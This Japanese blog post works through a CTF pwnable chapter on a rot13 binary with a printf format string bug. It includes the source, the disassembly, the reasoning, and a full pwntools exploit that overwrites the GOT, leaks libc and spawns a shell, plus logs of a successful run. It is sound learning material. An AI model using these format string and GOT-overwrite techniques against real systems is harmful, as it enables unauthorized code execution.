以下の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_5より取得しました。


書籍「解題pwnable」の第5章「rot13(書式文字列攻撃)」を読んだ

前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。

今回は、第5章の「rot13(書式文字列攻撃)」を読んでいきたいと思います。

それでは、やっていきます。

参考文献

今回、題材にさせて頂いた「解題pwnable」です。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ
・第59回:書籍「解題pwnable」の第3章「login2(スタックバッファオーバーフロー2)」を読んだ
・第60回:書籍「解題pwnable」の第4章「login3(スタックバッファオーバーフロー3)」を読んだ
・第61回:書籍「解題pwnable」の第5章「rot13(書式文字列攻撃)」を読んだ ← 今回

以下は、の公式サイトです。特に追加の情報はありませんでした。

nextpublishing.jp

また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。

https://hub.docker.com/r/kusanok/ctfpwn

では、書籍の章を参考に書き進めていきます。

第5章:rot13(書式文字列攻撃)

5.1:問題の概要

ソースコード(rot13.c)と、プログラムバイナリ(rot13)、libc(libc-2.31.so)が提供されています。

初回 で紹介したように、docker を起動しておき、ブラウザでアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

rot13
rot13

実践

まずは、自力でやっていきます。

実行権限を付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。今回は、libc-2.31.so が提供されているので不要かもしれませんが、一応準備しておきます。

あと、表層解析します。NX disable なので、メモリ上のコードを実行できます。スタックカナリアが有効です。

$ chmod +x rot13

$ cp rot13 rot13_patch

$ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./rot13_patch

$ ldd rot13_patch
        linux-vdso.so.1 (0x00007ffcb4b78000)
        libc.so.6 => /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 (0x00007f53a5601000)
        /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f53a57f5000)

$ file rot13_patch 
rot13_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=1a8b77b4d8cfeeef507c110b627370eadec69cd8, not stripped

$ ~/bin/checksec --file=rot13_patch
RELRO          STACK CANARY  NX           PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX disabled  No PIE  No RPATH  RW-RUNPATH  70 Symbols  No       0          2            rot13_patch

$ pwn checksec --file=rot13_patch
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No

実行してみます。

問題文は、「Hint: Lbh pna fbyir guvf ceboyrz ol sbezng fgevat nggnpx.」です。

ヒントの意味が分かりません(笑)

実行しても、何も表示されませんでした。

$ ./rot13_patch

https://en.wikipedia.org/wiki/ROT13

ソースコード(rot13.c)を見ていきます。

setup関数は、環境準備です。

main関数を見ると、あぁ、入力待ちだったってことですね。

rot13 は、ローテーションの 13回版ですかね。じゃあ、ヒントを入力すればいいですかね。

//  gcc rot13.c -o rot13 -no-pie -fcf-protection=none
#include <stdio.h>
#include <unistd.h>

void setup()
{
    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main()
{
    char buf[0x100] = "";
    int i = 0;

    setup();

    fgets(buf, sizeof buf, stdin);

    for (i=0; i<0x100; i++) {
        int d = 0;
        if ('A'<=buf[i] && buf[i]<='M' ||
            'a'<=buf[i] && buf[i]<='m')
            d = +13;
        if ('N'<=buf[i] && buf[i]<='Z' ||
            'n'<=buf[i] && buf[i]<='z')
            d = -13;
        buf[i] += d;
    }

    printf(buf);
    printf("https://en.wikipedia.org/wiki/ROT13\n");
}

ヒントの文字列を入力してみます。

デクリプトされた文字列が表示されました。「あなたは、書式文字列攻撃を使って、この問題を解くことが出来ます」という感じでしょうか。

$ ./rot13_patch
Lbh pna fbyir guvf ceboyrz ol sbezng fgevat nggnpx
You can solve this problem by format string attack
https://en.wikipedia.org/wiki/ROT13

GDB で起動して、スタックの状況を確認します。

$ gdb -q rot13_patch
Reading symbols from rot13_patch...

pwndbg> start
Temporary breakpoint 1 at 0x4011e5

pwndbg> disassemble
Dump of assembler code for function main:
   0x00000000004011e1 <+0>:     push   rbp
   0x00000000004011e2 <+1>:     mov    rbp,rsp
=> 0x00000000004011e5 <+4>:     sub    rsp,0x120
   0x00000000004011ec <+11>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004011f5 <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011f9 <+24>:    xor    eax,eax
   0x00000000004011fb <+26>:    mov    QWORD PTR [rbp-0x110],0x0
   0x0000000000401206 <+37>:    mov    QWORD PTR [rbp-0x108],0x0
   0x0000000000401211 <+48>:    mov    QWORD PTR [rbp-0x100],0x0
   0x000000000040121c <+59>:    mov    QWORD PTR [rbp-0xf8],0x0
   0x0000000000401227 <+70>:    mov    QWORD PTR [rbp-0xf0],0x0
   0x0000000000401232 <+81>:    mov    QWORD PTR [rbp-0xe8],0x0
   0x000000000040123d <+92>:    mov    QWORD PTR [rbp-0xe0],0x0
   0x0000000000401248 <+103>:   mov    QWORD PTR [rbp-0xd8],0x0
   0x0000000000401253 <+114>:   mov    QWORD PTR [rbp-0xd0],0x0
   0x000000000040125e <+125>:   mov    QWORD PTR [rbp-0xc8],0x0
   0x0000000000401269 <+136>:   mov    QWORD PTR [rbp-0xc0],0x0
   0x0000000000401274 <+147>:   mov    QWORD PTR [rbp-0xb8],0x0
   0x000000000040127f <+158>:   mov    QWORD PTR [rbp-0xb0],0x0
   0x000000000040128a <+169>:   mov    QWORD PTR [rbp-0xa8],0x0
   0x0000000000401295 <+180>:   mov    QWORD PTR [rbp-0xa0],0x0
   0x00000000004012a0 <+191>:   mov    QWORD PTR [rbp-0x98],0x0
   0x00000000004012ab <+202>:   mov    QWORD PTR [rbp-0x90],0x0
   0x00000000004012b6 <+213>:   mov    QWORD PTR [rbp-0x88],0x0
   0x00000000004012c1 <+224>:   mov    QWORD PTR [rbp-0x80],0x0
   0x00000000004012c9 <+232>:   mov    QWORD PTR [rbp-0x78],0x0
   0x00000000004012d1 <+240>:   mov    QWORD PTR [rbp-0x70],0x0
   0x00000000004012d9 <+248>:   mov    QWORD PTR [rbp-0x68],0x0
   0x00000000004012e1 <+256>:   mov    QWORD PTR [rbp-0x60],0x0
   0x00000000004012e9 <+264>:   mov    QWORD PTR [rbp-0x58],0x0
   0x00000000004012f1 <+272>:   mov    QWORD PTR [rbp-0x50],0x0
   0x00000000004012f9 <+280>:   mov    QWORD PTR [rbp-0x48],0x0
   0x0000000000401301 <+288>:   mov    QWORD PTR [rbp-0x40],0x0
   0x0000000000401309 <+296>:   mov    QWORD PTR [rbp-0x38],0x0
   0x0000000000401311 <+304>:   mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000401319 <+312>:   mov    QWORD PTR [rbp-0x28],0x0
   0x0000000000401321 <+320>:   mov    QWORD PTR [rbp-0x20],0x0
   0x0000000000401329 <+328>:   mov    QWORD PTR [rbp-0x18],0x0
   0x0000000000401331 <+336>:   mov    DWORD PTR [rbp-0x118],0x0
   0x000000000040133b <+346>:   mov    eax,0x0
   0x0000000000401340 <+351>:   call   0x401176 <setup>
   0x0000000000401345 <+356>:   mov    rdx,QWORD PTR [rip+0x2d24]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x000000000040134c <+363>:   lea    rax,[rbp-0x110]
   0x0000000000401353 <+370>:   mov    esi,0x100
   0x0000000000401358 <+375>:   mov    rdi,rax
   0x000000000040135b <+378>:   call   0x401070 <fgets@plt>
   0x0000000000401360 <+383>:   mov    DWORD PTR [rbp-0x118],0x0
   0x000000000040136a <+393>:   jmp    0x40145f <main+638>
   0x000000000040136f <+398>:   mov    DWORD PTR [rbp-0x114],0x0
   0x0000000000401379 <+408>:   mov    eax,DWORD PTR [rbp-0x118]
   0x000000000040137f <+414>:   cdqe
   0x0000000000401381 <+416>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x0000000000401389 <+424>:   cmp    al,0x40
   0x000000000040138b <+426>:   jle    0x4013a1 <main+448>
   0x000000000040138d <+428>:   mov    eax,DWORD PTR [rbp-0x118]
   0x0000000000401393 <+434>:   cdqe
   0x0000000000401395 <+436>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x000000000040139d <+444>:   cmp    al,0x4d
   0x000000000040139f <+446>:   jle    0x4013c9 <main+488>
   0x00000000004013a1 <+448>:   mov    eax,DWORD PTR [rbp-0x118]
   0x00000000004013a7 <+454>:   cdqe
   0x00000000004013a9 <+456>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x00000000004013b1 <+464>:   cmp    al,0x60
   0x00000000004013b3 <+466>:   jle    0x4013d3 <main+498>
   0x00000000004013b5 <+468>:   mov    eax,DWORD PTR [rbp-0x118]
   0x00000000004013bb <+474>:   cdqe
   0x00000000004013bd <+476>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x00000000004013c5 <+484>:   cmp    al,0x6d
   0x00000000004013c7 <+486>:   jg     0x4013d3 <main+498>
   0x00000000004013c9 <+488>:   mov    DWORD PTR [rbp-0x114],0xd
   0x00000000004013d3 <+498>:   mov    eax,DWORD PTR [rbp-0x118]
   0x00000000004013d9 <+504>:   cdqe
   0x00000000004013db <+506>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x00000000004013e3 <+514>:   cmp    al,0x4d
   0x00000000004013e5 <+516>:   jle    0x4013fb <main+538>
   0x00000000004013e7 <+518>:   mov    eax,DWORD PTR [rbp-0x118]
   0x00000000004013ed <+524>:   cdqe
   0x00000000004013ef <+526>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x00000000004013f7 <+534>:   cmp    al,0x5a
   0x00000000004013f9 <+536>:   jle    0x401423 <main+578>
   0x00000000004013fb <+538>:   mov    eax,DWORD PTR [rbp-0x118]
   0x0000000000401401 <+544>:   cdqe
   0x0000000000401403 <+546>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x000000000040140b <+554>:   cmp    al,0x6d
   0x000000000040140d <+556>:   jle    0x40142d <main+588>
   0x000000000040140f <+558>:   mov    eax,DWORD PTR [rbp-0x118]
   0x0000000000401415 <+564>:   cdqe
   0x0000000000401417 <+566>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x000000000040141f <+574>:   cmp    al,0x7a
   0x0000000000401421 <+576>:   jg     0x40142d <main+588>
   0x0000000000401423 <+578>:   mov    DWORD PTR [rbp-0x114],0xfffffff3
   0x000000000040142d <+588>:   mov    eax,DWORD PTR [rbp-0x118]
   0x0000000000401433 <+594>:   cdqe
   0x0000000000401435 <+596>:   movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x000000000040143d <+604>:   mov    edx,eax
   0x000000000040143f <+606>:   mov    eax,DWORD PTR [rbp-0x114]
   0x0000000000401445 <+612>:   add    eax,edx
   0x0000000000401447 <+614>:   mov    edx,eax
   0x0000000000401449 <+616>:   mov    eax,DWORD PTR [rbp-0x118]
   0x000000000040144f <+622>:   cdqe
   0x0000000000401451 <+624>:   mov    BYTE PTR [rbp+rax*1-0x110],dl
   0x0000000000401458 <+631>:   add    DWORD PTR [rbp-0x118],0x1
   0x000000000040145f <+638>:   cmp    DWORD PTR [rbp-0x118],0xff
   0x0000000000401469 <+648>:   jle    0x40136f <main+398>
   0x000000000040146f <+654>:   lea    rax,[rbp-0x110]
   0x0000000000401476 <+661>:   mov    rdi,rax
   0x0000000000401479 <+664>:   mov    eax,0x0
   0x000000000040147e <+669>:   call   0x401050 <printf@plt>
   0x0000000000401483 <+674>:   lea    rdi,[rip+0xb7e]        # 0x402008
   0x000000000040148a <+681>:   call   0x401030 <puts@plt>
   0x000000000040148f <+686>:   mov    eax,0x0
   0x0000000000401494 <+691>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000401498 <+695>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004014a1 <+704>:   je     0x4014a8 <main+711>
   0x00000000004014a3 <+706>:   call   0x401040 <__stack_chk_fail@plt>
   0x00000000004014a8 <+711>:   leave
   0x00000000004014a9 <+712>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x120 8 未使用(rsp)
rbp - 0x118 4 i
rbp - 0x114 4 d
rbp - 0x110 256 buf
rbp - 0x10 8 未使用
rbp - 0x08 8 Canary
rbp

フラグを表示するコードが無いので、シェルを取ることになりそうです。書式文字列攻撃を行い、シェルを取るといことですね。

途中のローテーションは、ただの変換なので、buf に埋めたいデータが決まれば、そのデータのうち、変換対象になる値について、変換前の値を求めて、差し替えておけばいいと思います。ということで、ローテーションについては、いったん、忘れようと思います。

まず、脆弱性としては、書式文字列攻撃が出来るというところです。スタックバッファオーバーフローは出来ません。あと、スタックカナリアが有効なので、簡単にはリターンアドレスを書き換えることは出来ません。

NX disable なので、シェルコードを実行させることが出来そうです。buf にシェルコードを展開しておいて、書式文字列攻撃で、printf関数の GOT をシェルコードの先頭に出来れば、シェルを起動できそうです。あとは、buf の先頭アドレスを取得できるかどうかです。

でも、buf の先頭アドレスを取得することと、printf関数の GOT を書き換えることを同時に行う(以前、やったことがある気がします)ことになりますね、これは、ハードルが高そうです。もしくは、一度、main関数に戻る方法を考えた方がいいかもしれません。

前者は、以下の記事の「35.1.2:書式文字列攻撃(発展:二段階書き込み)」でやりました。簡単に言うと、2つの m$ を使う場合、先に処理してほしいものについては、m$ の位置指定を使わずに、%c を並べて、位置を調整すればよいです。しかし、buf の先頭アドレスを取得と設定を同時にやるのは難しそうです。

daisuke20240310.hatenablog.com

後者は、printf関数の後は、すぐ終了なので、main関数に戻るためには、printf関数の GOT を書き換えるしかないですが、そうしてしまうと、2回目以降で、書式文字列攻撃が出来なくなり、困ります。

あ、アセンブラをよく見ると、最後の printf関数は、puts関数に置き換わっていました。puts関数の GOT に main関数のアドレスを設定すると戻れそうです。main関数に戻れるようにしておくと、何度も書式文字列攻撃が出来るようになるので、何をやるにしても一番良さそうです。

あとは、One-gadget RCE を使うことが考えられますが、2つのレジスタを NULL にする必要がありますので、どちらにしても、一度に行うのは、難しそうです。

というわけで、puts関数の GOT に main関数のアドレスを設定する方法を考えます。まず、GOT(printf関数を実行する直前の状態)と、main関数のアドレスを確認しておきます。

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch:
GOT protection: Partial RELRO | Found 6 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x401036 (puts@plt+6) ◂— push 0 /* 'h' */
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401046 (__stack_chk_fail@plt+6) ◂— push 1
[0x404028] printf@GLIBC_2.2.5 -> 0x401056 (printf@plt+6) ◂— push 2
[0x404030] alarm@GLIBC_2.2.5 -> 0x7ffff7ebad80 (alarm) ◂— endbr64
[0x404038] fgets@GLIBC_2.2.5 -> 0x7ffff7e5a7b0 (fgets) ◂— endbr64
[0x404040] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e5ce60 (setvbuf) ◂— endbr64

pwndbg> p main
$1 = {<text variable, no debug info>} 0x4011e1 <main>

次に、書式文字列攻撃について、考えます。puts関数は、まだ実行されていない(アドレス解決前)ので、0x401036 です。よって、2byte を書き換えればよいです。あまり大量の文字を出力したくないので、1byteずつ書き換えることにします。buf の先頭に、puts関数の GOT の 0x4040190x404018を配置するように入力文字を設定します。あとは、buf の先頭が、何番目の引数なのかを考えます。rsp の 2つ先なのと、先行する文字列が 24byte なので、%17c%11$hhn%208c%12$hhn とします。

入力する文字列は決まりましたので、ローテーションを考慮します。数も少ないので、手動で求めます。後で必要になったものも実行しています。

入力する文字列は、%17p%11$uua%208p%12$uua となります。

>>> chr(ord('c')+13)
'p'
>>> chr(ord('h')+13)
'u'
>>> chr(ord('n')-13)
'a'
>>> chr(ord('s')-13)
'f'
>>> chr(ord('a')+13)
'n'
>>> chr(ord('l')+13)
'y'
>>> chr(ord('b')+13)
'o'
>>> chr(ord('i')+13)
'v'
>>> chr(ord('s')-13)
'f'

main関数まで戻れるようになれば、あとは、setvbuf関数などの GOT から(他の GOT でもよい)、アドレスを取得して、libc のベースアドレスを求めて、system関数のアドレスを計算します。setvbuf関数の GOT を読み出す書式文字列を考えます。%9$s なので、ローテーションを考慮すると、%9$f となります。

その後、printf関数の GOT を system関数に書き換えて、次のユーザ入力で、"/bin/sh" を与えれば、シェルを取ることが出来そうです。

エクスプロイトコードを実装しました。

最後の書式文字列攻撃が長かったので、ローテーションを自動で行うコードを追加しました。

#!/usr/bin/env python3
from pwn import *
import time

bin_file = './rot13_patch'
context( os = 'linux', arch = 'amd64' )
context( terminal = ['tmux', 'splitw', '-h'] )
context.log_level = 'debug'

binf = ELF( bin_file )

libc = binf.libc
offset_libc_setvbuf = libc.functions['setvbuf'].address
offset_libc_system  = libc.functions['system'].address
addr_main           = binf.functions['main'].address
addr_got_puts       = binf.got['puts']
addr_got_printf     = binf.got['printf']
addr_got_setvbuf    = binf.got['setvbuf']

def rot13( payload ):
    
    payload = bytearray( payload ) # bytes型は変更できないため、bytearray型に変換
    
    for ii, bb in enumerate( payload ):
        if (ord('a') <= bb <= ord('m')) or (ord('A') <= bb <= ord('M')):
            payload[ii] = bb + 13
        elif (ord('n') <= bb <= ord('z')) or (ord('N') <= bb <= ord('Z')):
            payload[ii] = bb - 13
    
    payload = bytes( payload ) # bytes型に戻す
    
    return payload

def attack( proc, **kwargs ):
    
    time.sleep( 1 ) # ウェイト
    
    # puts関数の GOT (0x404018) の値を、0x401036 から、main関数のアドレスの 0x4011e1 に書き換える
    #payload = b'%17c%11$hhn%208c%12$hhn'.ljust(24, b' ') + p64(0x404019) + p64(0x404018)
    payload = fmtstr_payload( offset=8, writes={addr_got_puts: addr_main}, numbwritten=0, write_size="byte" )
    proc.sendline( rot13(payload) )
    
    # setvbuf関数のGOTからアドレスを取得して、libcのベースアドレスを求める (aaaa は、fmtstr_payload が使ってるようなので避ける)
    #proc.sendline( b'oooo%9$f' + p64(addr_got_setvbuf) )
    proc.sendline( rot13(b'bbbb%9$s' + p64(addr_got_setvbuf)) )
    proc.recvuntil( b'bbbb' )
    
    # libcのベースアドレスを求める
    addr_libc_setvbuf = unpack( proc.recv(6), 'all' )
    libc.address = addr_libc_setvbuf - offset_libc_setvbuf
    info( f"addr_libc_base = {libc.address:#x}, addr_libc_setvbuf={addr_libc_setvbuf:#x}, addr_libc_system={libc.functions['system'].address:#x}" )
    
    # printf関数の GOT を、system関数に書き換える
    payload = fmtstr_payload( offset=8, writes={addr_got_printf: libc.functions['system'].address}, numbwritten=0, write_size="byte" )
    proc.sendline( rot13(payload) )
    
    time.sleep( 1 ) # ウェイト
    
    proc.sendline( rot13(b'/bin/sh') )
    
    #info( proc.recvall() )

def main():
    
    adrs = "localhost"
    port = 10004
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。

無事に、シェルが取れました。

$ python exploit_rot13.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Starting local process './rot13_patch' argv=[b'./rot13_patch'] : pid 676681
[DEBUG] Sent 0x41 bytes:
    00000000  25 32 32 35  70 25 31 33  24 79 79 61  25 34 38 70  x%225xp%13x$yyax%48px
    00000010  25 31 34 24  75 75 61 25  34 37 70 25  31 35 24 75  x%14$xuua%x47p%x15$ux
    00000020  75 61 6e 6e  6e 6e 6f 6e  18 40 40 00  00 00 00 00  xuannxnnonx·@@·x····x
    00000030  19 40 40 00  00 00 00 00  1a 40 40 00  00 00 00 00  x·@@·x····x·@@·x····x
    00000040  0a                                                  x·x
    00000041
[DEBUG] Sent 0x11 bytes:
    00000000  6f 6f 6f 6f  25 39 24 66  40 40 40 00  00 00 00 00  xoooox%9$fx@@@·x····x
    00000010  0a                                                  x·x
    00000011
[DEBUG] Received 0x156 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    000000e0  03 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x·   x    x    x    x
    000000f0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000110  00 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x·   x    x    x    x
    00000120  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 b2  x    x    x    x   ·x
    00000140  61 61 61 61  62 61 18 40  40 62 62 62  62 60 2e a5  xaaaaxba·@x@bbbxb`.·x
    00000150  3d b2 7f 40  40 40                                  x=··@x@@x
    00000156
[*] addr_libc_base = 0x7fb23d9cb000, addr_libc_setvbuf=0x7fb23da52e60, addr_libc_system=0x7fb23da20410
[DEBUG] Sent 0x69 bytes:
    00000000  25 31 30 34  30 70 25 31  36 24 79 79  61 25 34 35  x%104x0p%1x6$yyxa%45x
    00000010  70 25 31 37  24 75 75 61  25 36 36 70  25 31 38 24  xp%17x$uuax%66px%18$x
    00000020  75 75 61 25  33 35 70 25  31 39 24 75  75 61 25 31  xuua%x35p%x19$uxua%1x
    00000030  36 70 25 32  30 24 75 75  61 6e 6e 6e  6e 6f 6e 6e  x6p%2x0$uuxannnxnonnx
    00000040  28 40 40 00  00 00 00 00  2b 40 40 00  00 00 00 00  x(@@·x····x+@@·x····x
    00000050  2d 40 40 00  00 00 00 00  2a 40 40 00  00 00 00 00  x-@@·x····x*@@·x····x
    00000060  2c 40 40 00  00 00 00 00  0a                        x,@@·x····x·x
    00000069
[DEBUG] Sent 0x8 bytes:
    b'/ova/fu\n'
[*] Switching to interactive mode
@@@[DEBUG] Received 0x4bc bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000400  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 03  x    x    x    x   ·x
    00000410  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000430  20 20 20 20  20 20 20 20  20 20 20 20  00 20 20 20  x    x    x    x·   x
    00000440  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000470  20 20 20 20  20 20 20 20  20 20 20 20  20 20 b2 20  x    x    x    x  · x
    00000480  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    000004a0  20 30 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x 0  x    x    x    x
    000004b0  20 00 61 61  61 61 62 61  61 28 40 40               x ·aaxaabaxa(@@x
    000004bc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               \x03                                            \x00                                                                 \xb2                                  0               \x00aaaabaa(@@$                                                                      l                                                                                                           ls                                                                                                          ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x50 bytes:
    b'chapter5.png  core  exploit_rot13.py  libc-2.31.so  rot13  rot13.c  rot13_patch\n'
chapter5.png  core  exploit_rot13.py  libc-2.31.so  rot13  rot13.c  rot13_patch
$
[*] Stopped process './rot13_patch' (pid 676681)

サーバの方もやってみます。こちらも成功して、フラグが取れました。

$ python exploit_rot13.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter5/rot13_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
